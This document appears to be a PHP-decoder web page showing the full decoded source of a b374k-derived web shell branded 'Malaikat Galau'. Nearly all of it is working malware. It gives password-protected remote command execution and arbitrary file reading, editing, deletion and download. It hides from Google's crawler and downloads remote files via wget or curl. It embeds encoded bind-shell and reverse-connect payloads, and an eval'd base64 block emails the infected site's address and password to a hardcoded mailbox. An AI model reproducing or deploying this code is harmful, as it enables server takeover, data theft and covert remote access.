Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ########################### ##malaikat Galau Was Here## #########################..
Decoded Output download
//Pass: 1n73ction
/* (Web Shell b374k r3c0d3d by Mr.K illysm was here | default pass:" bxc ") */
$auth_pass = "ce6ae674dc4e9b7e674d0df31e3f539a";
$color = "#00FFFF";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
<TITLE>[+] MALAIKAT GALAU [+]</TITLE>
<body BGCOLOR="black">
<p><center><img src="http://4.bp.blogspot.com/-ZecB0TOAWhY/UmdjXosY3uI/AAAAAAAAAVo/kFXj_5vv4TY/s1600/%2523BekasiXCode.jpg" width="405" height="120"></center>
<hr>
<address></address>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<center>
<form method=post >
<input type=password name=pass >
</form></center>
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
@ini_set('log_errors',0);
@ini_set('output_buffering',0);
if(isset($_GET['dl']) && ($_GET['dl'] != "")){
$file = $_GET['dl'];
$filez = @file_get_contents($file);
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file)."\";");
echo $filez;
exit;
}
elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
$file = $_GET['dlgzip'];
$filez = gzencode(@file_get_contents($file));
header("Content-Type:application/x-gzip
");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
echo $filez;
exit;
}
// view image
if(isset($_GET['img'])){
@ob_clean();
$d = magicboom($_GET['y']);
$f = $_GET['img'];
$inf = @getimagesize($d.$f);
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
@header("Content-type: ".$inf["mime"]);
@header("Cache-control: public");
@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
@header("Cache-control: max-age=".(60*60*24*7));
@readfile($d.$f);
exit;
}
// server software
$software = getenv("SERVER_SOFTWARE");
// check safemode
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
// uname -a
$system = @php_uname();
// mysql
function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FFFF'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
// check os
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE;
// change directory
if(isset($_GET['y'])){
if(@is_dir($_GET['view'])){
$pwd = $_GET['view'];
@chdir($pwd);
}
else{
$pwd = $_GET['y'];
@chdir($pwd);
}
}
//hdd
function convertByte($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
// username, id, shell prompt and working directory
if(!$win){
if(!$user = rapih(exe("whoami"))) $user = "";
if(!$id = rapih(exe("id"))) $id = "";
$prompt = $user." \$ ";
$pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
$user = @get_current_user();
$id = $user;
$prompt = $user." >";
$pwd = realpath(".")."\";
// find drive letters
$v = explode("\",$d);
$v = $v[0];
foreach (range("A","Z") as $letter)
{
$bool = @is_dir($letter.":\");
if ($bool)
{
$letters .= "<a href=\"?y=".$letter.":\">[ ";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
$letters .= " ]</a> ";
}
}
}
function testoracle() {
if (function_exists('ocilogon')) { return showstat("on"); }
else { return showstat("off"); }
}
function testmssql() {
if (function_exists('mssql_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
function showdisablefunctions() {
if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
}
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
// server ip
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$my_ip = $_SERVER['REMOTE_ADDR'];
$admin_id=$_SERVER['SERVER_ADMIN'];
$bindport = "13123";
$bindport_pass = "b374k";
// separate the working direcotory
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
$pathz = "";
for($j = 0 ; $j <= $i ; $j++){
$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
}
$pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
// rename file or folder
if(isset($_POST['rename'])){
$old = $_POST['oldname'];
$new = $_POST['newname'];
@rename($pwd.$old,$pwd.$new);
$file = $pwd.$new;
}
if(isset($_POST['chmod'])){
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value)==3){
$value = 0 . "" . $value;}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
if(isset($_POST['chmod_folder'])){
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value)==3){
$value = 0 . "" . $value;}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
// print useful info
$buff = "Software : <b>".$software."</b><br />";
$buff .= "System OS : <b>".$system."</b><br />";
if($id != "") $buff .= "ID : <b>".$id."</b><br />";
$buff .= "PHP Version : <b>".phpversion()."</b> on <b>".php_sapi_name()."</b><br />";
$buff .= "Server ip : <b>".$server_ip."</b> <span class=\"gaya\"> | </span> Your ip : <b>".$my_ip."</b><span class=\"gaya\"> | </span> Admin : <b>".$admin_id."</b><br />";
$buff .= "Free Disk: "."<span style='color:#FF0000'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b>ON</b></span><br />";
else $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
$buff .= "Disabled Functions: ".showdisablefunctions()."<br />";
$buff .= "MySQL: ".testmysql()." | MSSQL: ".testmssql()." | Oracle: ".testoracle()." | Perl: ".testperl()." | cURL: ".testcurl()." | WGet: ".testwget()."<br>";
$buff .= "<font color=00ff00 ><b>".$letters." > ".$pwdurl."</b></font>";
$injbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIldTTyAyLjcgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkYXV0aF9wYXNzIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgia2V2aW5fZ3VhdGVsQHlhaG9vLmNvLmlkIiwkanVkdWwsJGJvZHksJGF1dGhfcGFzcyk7IH0NCn0NCmVsc2UgeyAkdmlzaXRjKys7IH0NCkBzZXRjb29raWUoInZpc2l0eiIsJHZpc2l0Yyk7==";
eval(base64_decode($injbuff));
function rapih($text){
return trim(str_replace("<br />","",$text));
}
function magicboom($text){
if (!get_magic_quotes_gpc()) {
return $text;
}
return stripslashes($text);
}
function showdir($pwd,$prompt){
$fname = array();
$dname = array();
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
$user = "????:????";
if($dh = @scandir($pwd)){
foreach($dh as $file){
if(is_dir($file)){
$dname[] = $file;
}
elseif(is_file($file)){
$fname[] = $file;
}
}
}
else{
if($dh = @opendir($pwd)){
while($file = @readdir($dh)){
if(@is_dir($file)){
$dname[] = $file;
}
elseif(@is_file($file)){
$fname[] = $file;
}
}
@closedir($dh);
}
}
sort($fname);
sort($dname);
$path = @explode(DIRECTORY_SEPARATOR,$pwd);
$tree = @sizeof($path);
$parent = "";
$buff = "
<form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
<table class=\"cmdbox\" style=\"width:50%;\">
<tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
</form>
<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<tr><td><b>view file/folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
</form></table><table class=\"explore\">
<tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
";
if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
else $parent = $pwd;
foreach($dname as $folder){
if($folder == ".") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
<td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
<a href=\"?y=$pwd&edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form></td>
</tr>
";
}
elseif($folder == "..") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>LINK</td>
<td style=\"text-align:center;\">".$owner."</td>
<td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
<td><span id=\"titik2\"><a href=\"?y=$pwd&edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form>
</td></tr>";
}
else {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
</form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
<td><center>
<a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&fdelete=".$pwd.$folder."\">delete</a></td></tr>";
}
}
foreach($fname as $file){
$full = $pwd.$file;
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
</form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
<td><a href=\"?y=$pwd&edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$full\">delete</a> | <a href=\"?y=$pwd&dl=$full\">download</a> (<a href=\"?y=$pwd&dlgzip=$full\">gzip</a>)</td></tr>";
}
$buff .= "</table>";
return $buff;
}
function ukuran($file){
if($size = @filesize($file)){
if($size <= 1024) return $size;
else{
if($size <= 1024*1024) {
$size = @round($size / 1024,2);;
return "$size kb";
}
else {
$size = @round($size / 1024 / 1024,2);
return "$size mb";
}
}
}
else return "???";
}
function exe($cmd){
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result){
$buff .= $result;
}
return $buff;
}
elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('shell_exec')){
$buff = @shell_exec($cmd);
return $buff;
}
}
function tulis($file,$text){
$textz = gzinflate(base64_decode($text));
if($filez = @fopen($file,"w"))
{
@fputs($filez,$textz);
@fclose($file);
}
}
function ambil($link,$file) {
if($fp = @fopen($link,"r")){
while(!feof($fp)) {
$cont.= @fread($fp,1024);
}
@fclose($fp);
$fp2 = @fopen($file,"w");
@fwrite($fp2,$cont);
@fclose($fp2);
}
}
function which($pr){
$path = exe("which $pr");
if(!empty($path)) { return trim($path); } else { return trim($pr); }
}
function download($cmd,$url){
$namafile = basename($url);
switch($cmd) {
case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
case 'wfread' : ambil($wurl,$namafile);break;
case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
default: break;
}
return $namafile;
}
function get_perms($file)
{
if($mode=@fileperms($file)){
$perms='';
$perms .= ($mode & 00400) ? 'r' : '-';
$perms .= ($mode & 00200) ? 'w' : '-';
$perms .= ($mode & 00100) ? 'x' : '-';
$perms .= ($mode & 00040) ? 'r' : '-';
$perms .= ($mode & 00020) ? 'w' : '-';
$perms .= ($mode & 00010) ? 'x' : '-';
$perms .= ($mode & 00004) ? 'r' : '-';
$perms .= ($mode & 00002) ? 'w' : '-';
$perms .= ($mode & 00001) ? 'x' : '-';
return $perms;
}
else return "??????????";
}
function clearspace($text){
return str_replace(" ","_",$text);
}
// net tools
$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
//confshell
